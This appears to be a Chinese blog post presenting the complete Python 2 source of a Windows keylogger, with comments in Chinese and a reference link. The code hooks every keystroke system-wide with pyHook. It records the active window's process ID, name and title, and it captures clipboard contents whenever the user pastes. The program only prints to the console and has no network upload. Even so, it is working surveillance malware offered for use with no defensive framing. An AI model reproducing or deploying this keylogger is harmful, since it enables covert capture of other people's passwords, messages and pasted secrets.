0%

python 键盘记录器

python 键盘记录器代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding: utf-8 -*-  
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

#
def get_current_process():

# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()

# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))

# 将进程ID存入变量中
process_id = "%d" % pid.value

# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

# 打印
print
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print

# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

global current_window

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()

# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True

# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

参考:
python 键盘记录器
http://blog.csdn.net/qq_16234613/article/details/79151528

欢迎关注我的其它发布渠道